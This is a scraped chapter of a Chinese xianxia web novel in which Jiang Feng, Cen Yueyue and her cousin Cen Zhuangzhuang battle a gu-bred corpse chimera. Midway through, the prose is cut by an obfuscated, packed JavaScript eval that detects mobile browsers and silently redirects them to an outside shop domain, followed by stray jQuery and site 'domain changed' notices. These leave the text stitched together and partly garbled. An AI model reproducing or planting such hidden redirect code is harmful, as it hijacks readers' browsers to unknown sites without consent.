哐!
身体后退几步,饮用了某位大小姐的独家配方后,玃如的嘶吼已经无法对他造成任何影响。
加上他还忍痛用高温消过一次毒,身体一扭就直接迎了上去。
“好身手,果然还是要想办法把他骗走,等会儿先探探口风吧,看模样应该还没正式拜入紫霄宫门下,连紫霄宫的狗牌都没有呢。”
轻声嘀咕一下,岑月月虽然心里有点小九九,但肯定不会看戏,举起手中银冠,将周围所有红雾全部吸入其中,也是这时候岑月月脸色一变。
“不对,还有其他人,小心!”
嗖!
流星自空中闪过,以一个诡异的角度飞去,也是这时候江枫才注意到,岑月月那高高挽起的随云髻不知什么时候已经散开,青丝铺满肩头。
三根发簪分别从三个方向将来者贯穿。
玃如终于将那纸人彻底撕碎,神魂重新回到了江枫身上,只凭借一张纸人一道神魂就能和对方纠缠半刻钟,可见这秘术的霸道。
可少年明显有些气息絮乱,以他现在的灵气量只是用了这一道纸人灵气损耗就已经过半。
后退几步。
玃如就像是察觉到岑月月身上的危险气息,围着两人开始转圈,身上被撕裂的伤口以肉眼可见的速度愈合,密密麻麻絮火谣重新缝合,恢复如初。
两人背靠背,周围已经满是围上前的尸体,这无疑让岑大小姐的脸色异常难看。
并非感觉到危机。
而是被气的。
“好好好好……用我们家的蛊术来对付我,好一个倒反天罡,翻天了是吧。”
见到尸体围上前,岑大小姐硬是被气的笑了出来,这已经不是丢人二字可以形容的了,是拿鞋抽她的脸。
灵气瞬间涌动!
双手一闪,就只看见那悬浮在天空上的三根发簪将其中一具尸体贯穿,撕裂成各种各样的碎肉块。
蛊虫四溅,血雾蔓延,对待这些尸体她完全没有任何手下留情。
而玃如也挥舞着愈合的手臂,不,应该说是翅膀,将翼膜上的黑羽直接甩了出去,整个马场此刻宛如人间炼狱。
没有回头,江枫只是向前一步就将那些十几根足有一尺长的羽毛击落,长剑飞快,以技卸力,两人之间尽管从未并肩战斗,但此刻却极为默契。
有一根藏在最后的黑羽直刺脑门!
眼见躲无可躲,少年反手握住三尺青峰,将全身灵气注入后用一舞,居然直接甩出一道剑气和那根黑羽正面碰撞。
这一下让手握银冠的岑月月差点没把手里的法宝丢了,用难以置信的表情回过头。
“剑气!?”
目瞪口呆。
岑大小姐手里的蛊术让江枫感觉自己的世界观被颠覆,但反过来她的世界观也快被江枫给颠覆了。
母猪能上树了?是我没睡醒?
一个炼气期的会使用法术她忍了,会御剑她也忍了,问题是你一个炼气期的能甩出来剑气是几个意思?
尽管剑气微弱到可以无视,但那毫无疑问就是剑气,连续两下将黑羽拨开,一招手,之前刺破翼膜的长剑直接朝他飞来。
手持双剑站在原地,那副自然让岑月月产生了错觉,仿佛站在这里的结丹期高手是江枫,那个需要得到保护的人才是自己。
甩了甩头,长发随着动作飘摇,这些尸体虽然个个疯狂,但在岑月月面前和纸糊的没有太多区别,只是几下就将他们尽数斩断,完全失去继续蠕动的能力。
而江枫则是一手持剑和那玃如交锋,另一只手则是捏着剑印,不断操控着飞剑从四周进攻,这种分心多用的方式他还是第一次使用。
呕——
玃如突然吐出来几口鲜血,然后立马后退十几米。
死死盯着对方的动作,别看他刚才动作很帅气,但实际上他体内灵气储存量已然不多,无论是折纸附魂还是御剑都会耗费大量灵气,但这时少年只感觉肩头一沉。
“很能干嘛。”
是岑大小姐已经将那几十具尸体尽数斩断。
一股灵气顺着肩头涌入身体,心中一惊,刚打算甩开对方的手掌,但他能感受到对方没有恶意,只是帮自己填补一下有些亏空的灵气。
两人并肩而立,那玃如在两人的注视下,身体不断扭动用力拱起背部,居然直接抬起鸟爪。
一根粗壮的脊梁从背上用力抽了出来!
傻眼。
“……你们南疆人都好这口?”
僵硬的扭过头。
感觉到少年异样的注视,她也知道这玩意儿对于寻常人而言过于夸张了,哪怕在南疆这种玃如都极为少见,小声辩解道。
“我也没见过……玃如本来就是指一种动物,在南疆我们把这种用蛊术糅合的怪东西都称作玃如。”
“有些是几种强大的妖兽血脉糅杂,有些则是将一些修行者的血肉糅杂到一起,试图通过这种方式培育出强大的妖兽,或是极具天赋的修行者。”
“这种方式在数百年的南疆流行过一阵,但很快就被严令禁止,有伤天和不说,还很容易惹出乱子,这些玃如大多都没有意识只凭借本能行动,因此惹出
过不少祸事。”
眼见玃如手里拎着足有两米的脊椎骨步步向前,站直了身子有接近三米高,鸟首高高昂起,现在它身上已经没了太多人类痕迹。
唯一能证明那妇人存在的,恐怕只有高高鼓起的肚子和被完全掰开的脑袋能证明这的确是人之躯体。
以妇人为载体,以遗子为胚胎,以血肉为养料,灵兽做根,蛊虫为叶……最终呈现在二人面前的,便是“玃如”。
一边听一边点头,然后江枫发出了灵魂质问。
“你就说这是不是那孙子从你们家学的。”
表情瞬间僵住。
江某人总能抓住某些很关键的小细节。
嘴巴动了一下,面对那跃跃欲试的玃如岑月月其实压根没放在眼里,对于她而言对方几乎没有太多威胁性,有些底气不足的说了几个字。
“是他从我们家偷的……”
沉默。
“小叔也不知道那家伙是怎么摸入的书阁顶楼,后来也是因为这件事情败露才选择逃跑。”
身体突然一仰。
在这短暂的谈话期间玃如直接抡着脊椎上前,看那架势倒是凶狠无比,挥舞着脊椎骨一扫而过。
可岑月月完全没当回事,只是拉着江枫一路后退。
“逃跑时有人目睹到侯家寨的人过去接应,父亲也是反应快,马不停蹄就去了侯家寨堵人。”
“后来的事情你就都知道了嘛,只是我也没想到那叛徒居然还有些本事,真能捏一个拥有灵智的玃如出来。”
“喏,你看,还会打架哩。”
脑袋一歪就轻松躲过,还顺带抓住江枫的手腕往上一跳。
脚踏飞剑拉开距离,只是小手一挥,三根发簪立马顺着正在嘶吼的鸟嘴就灌了进去!
呲啦!
血雨洒满大地。
只这一手就能看出双方之间的实力差距,也难怪岑月月看起来有恃无恐。
身体歪歪斜斜开始抽搐,可这一下并没有让玃如当场毙命,哪怕脑袋被贯穿后也只是停顿一下,随后继续朝着两人飞扑过来。
长满羽毛的双臂扑腾几下,隐隐有飞起来的架势,岑大小姐冷哼一声,随即手中桂冠从手里升腾将这一骨鞭挡下,发出沉闷碰撞。
“去!”
一声厉喝,三股流星又一次顺着她的意念飞上高空,只是这次那玃如反而开始学聪明了,骨鞭一甩,刚好和那三根发簪撞在一起。
“倒是有些能耐,也不知那叛徒究竟从何处弄来如此多珍贵灵兽血肉,啧。”
伸出来的长脖子扭了几下,已经被贯穿的脑袋抖了抖,很快名为絮火谣就开始重新编织缝合伤口,缝合的部位除了没有毛发,和之前一模一样。
而始终站在一旁的少年也飞快接近,抬手,三道流星替江枫挡住那条骨鞭,身子侧闪躲开利爪,长剑在那胀鼓鼓的肚子上直接划拉出一道伤口,但相应的,江枫也被它一脚踹飞。
“对准这里!”
少女抬手就是一道飞剑就直接捅了过去。
咻——
本站域名已经更换为 。请牢记。 发出凄厉惨叫。
用力抓着肚子里的长剑拔出丢在地上,伤口以肉眼可见的速度恢复,虽然谈不上不死不灭,但玃如和这絮火谣独特的体质确实让它几乎没有破绽可言。
除非当场毙命,将其完全切成碎块,否则躯体都会不断重生,扫了眼那正在蠕动的躯体,她本来以为只需要随便动动手就能干掉这怪物,没想到还挺能打。
刚打算动真格的,眉头突然一扬。
“总算来了。”
莫名其妙吐出两个字。
江枫也停顿了一下,没太明白岑大小姐在说什么。
但很快他就想起来此行目的。
对啊。
我们过来不是听见这附近传来打斗声么,不是因为岑壮壮正在护送当地居民结果遭遇袭击才来的吗?
正主呢?
堂弟人呢?
“别走!”
伴随着怒吼,一身形健壮浑身肌肉的黝黑少年从天而降!
砰——
一对肉拳硬生生将那高高昂起的鸦首锤在地上,就连地面都出现裂纹,可见这一下有多重。
喝啊!
发出爆喝,直接抱住玃如那被蛇鳞覆盖的粗壮脖子。
也不怕这散播在周围的蛊虫,作为南疆巫族他们绝大部分人都身怀蛊虫,但又百毒不侵,尤其是岑壮壮这种体修,对于肉体的淬炼可谓达到极致。
在江某人错愕的注视下,这位堂弟居然两腿一蹬开始原地转圈,足有三米多高的身体硬是被只有一米六的他活生生抡起来,脖子越拉越长,可少年的力量和气势也越来越足。
无视那疯狂挣扎的身体硬生生抡得对方双腿悬空,然后直接甩了出去将远处的马棚砸成碎片!
根本没有任何停歇,重心下沉,双腿在地上踩出裂纹后就直接跳了过去,砂锅大的拳头像炮弹一样落在那玃如鼓起的肚子上!
轰——
肩头一抖,眼皮一跳。
他看见这一拳头下去,岑壮壮,不,岑小少爷硬是一拳把整个小臂都打到陷了进去。
又是一拳。
玃如的背都被打到拱了起来。
纯粹的暴力美学。
咽了口唾沫,江枫发现自己还是有点不知者无畏了,自己哪儿来的勇气踏入之前那座破庙,手里还拎着剑的?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14083366|149499||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你没发现之前那几个村民都不在么。”
岑月月充满活力的声音响起。
“壮壮性格和我不一样啦,他属于看起来莽撞但人非常心细性格,之前不见人影,八成是担心我们交手会牵连到那些无辜人。”
“这么长时间都不见他人,肯定是因为他先扛着那些村民去安全地方了,估计那几个炼气的修士也是他送走的。”
“哼哼,我堂弟很厉害吧,寻常的结丹下品高手如果没三四个都拿不下他呢。”
将所有法宝全部召回。
乍看一眼这小祖宗光是身上就有六件法宝,双手手腕和三根发簪还有一顶桂冠,是真正意义上的小富婆。
“来战!”
一声暴喝。
和之前腼腆老实的形象截然不同,岑壮壮只要进入战斗状态后,那副模样用江枫的话来形容,简直就是个狂战士。
正儿八经的武痴。
抬起鸟喙朝着他的脑袋啄去,结果他只是抬起那粗壮的手臂直接抓住鸟喙。
一发力,手臂青筋鼓起,肌肉拧成一团犹如老树根那样错综复杂,疯狂扭动的身体也未能挣脱,另一手捏拳,高高举起。
没有人会怀疑这拳头的威力。
“哇,哇——”
喉咙发出嘶吼,只可惜被抓住鸟喙的它怎么都嘶吼不出来,声音全部卡在喉咙里,于是奋力挥舞着鸟爪,用力朝着少年的身体抓了过去。
“小心!”
已经归鞘的长剑立马拔出,刚打算甩出去试图阻止一下,可一旁的岑月月反而表情淡然,直接拍了拍剑鞘,示意对方稍安勿躁。
呲啦——
利爪毫不留情抓在少年身上,和想象中不同,没有血肉横飞,也没有传来惨叫。
而是沉重的嗓音。
“你找死。”
三个字铿锵有力,那漆黑的眼珠疯狂转动,这还是江枫第一次在玃如眼中见到名为恐惧的神色。
因为这一爪下去,除了撕破对方的上衣外,就是只在那黝黑的皮肤上留下几道白痕。
连皮都没破。
“都说了,壮壮是体修。”
“以壮壮对于肉身的淬炼程度,结丹期以下的修士哪怕是站着让他们砍,都得砍上两炷香时间才能砍死他。”
“这玃如虽然实力还行但终归只是新生儿,几只鸟爪总不可能比法宝还锋利吧,怎么可能伤到壮壮。”
“上次你家那个师妹的音律都让壮壮硬顶下来了哩。”
注意力完全没放在岑月月的话上,而是直勾勾盯着远处正在交战的一人一手,忍不住咽下唾沫,看的口干舌燥。
咚!咚!咚!
此刻这位岑家小少爷的左臂简直像是打桩机,一拳接着一拳下去,每一拳都恰到好处,且力度一致。
每一拳,都让站在后面看戏的江枫眼皮跳一下,虽然只看外貌这玃如好像没太大事,但从那松垮垮的肚皮和疯狂挣扎的四肢来判断,估计内脏这会儿已经被打成臊子了。
轰!
又是一记勾拳。
被蛇鳞覆盖的脖子用力鼓起,一路从腹部到脑袋,随后从那鸟嘴里直接喷出来一大坨破碎的肉块,让玃如连惨叫都叫不出声。
一脚直接跺下,用力将鸟头踩在脚底,无视对方到处乱抓的利爪,而是直接顺着脖子一路往上,一直到脖子和身体的交界处。
见到那只剩下半个脑袋被完全撕裂上下颚的妇人,岑壮壮更是气不打一处来,自幼他就饱受家中熏陶,身为岑氏族人便要有正义感,要有作为人的底线。
平日在家中,在族群,在岑氏的领地,他从来见不到这些污秽的东西,可没想到自己第一次出远门便见到了这副人间炼狱的模样。
而且这惨死的妇人还身怀六甲,居然利用尚未出生的胎儿作为引子,孕育出这等令人憎恶的玃如,天理难容。
“喝啊!”
发出宛如雄狮般的怒吼,上半身结实的肌肉全部血管鼓起,看起来像是要炸裂那样可怕,用力一拽,竟然直接就将埋入身躯里的脖子给拽了出来!
皮肉和蛇鳞都被活生生撕扯开来,那些鲜红的絮火谣正在疯狂爬满脖子上的伤口,试图将伤口挽回,可它们生长速度再快也不如岑壮壮的手快。
眼见整个脑袋都要被拽出身体,这些蠕虫直接开始朝着这位岑少爷的手臂爬了上去,一时间他整个身体都变的绯红,甚至发出噼里啪啦的灼烧。
还有些竟然直接朝着他嘴里爬了进去。
大腿一动,刚打算上去帮忙,可江枫却看见岑月月只是一脸淡定蹲在地上,手里不知道啥时候折了根小树枝,正在戳动地上破碎的肉块。
这是之前她用三根发簪贯穿鸟头时留下的碎片,看的出来,之前岑月月交战时已经手下留情,虽然这种丧尽天良的法子极为恶毒,用人肉饲养玃如。
但她还是觉得有必要稍微研究研究这其中的门道。
“别慌。”
“上次壮壮去帮人家犁地,干完活去别人家吃饭,结果把桌上用来驱虫的中草药当做茶水给喝了。”
“当时给那户人家吓得不轻,结果壮壮只是当天有点拉肚子。”
“我记得那用来驱虫的中药叫……”
“百草枯。”
本站域名已经更换为 。请牢记。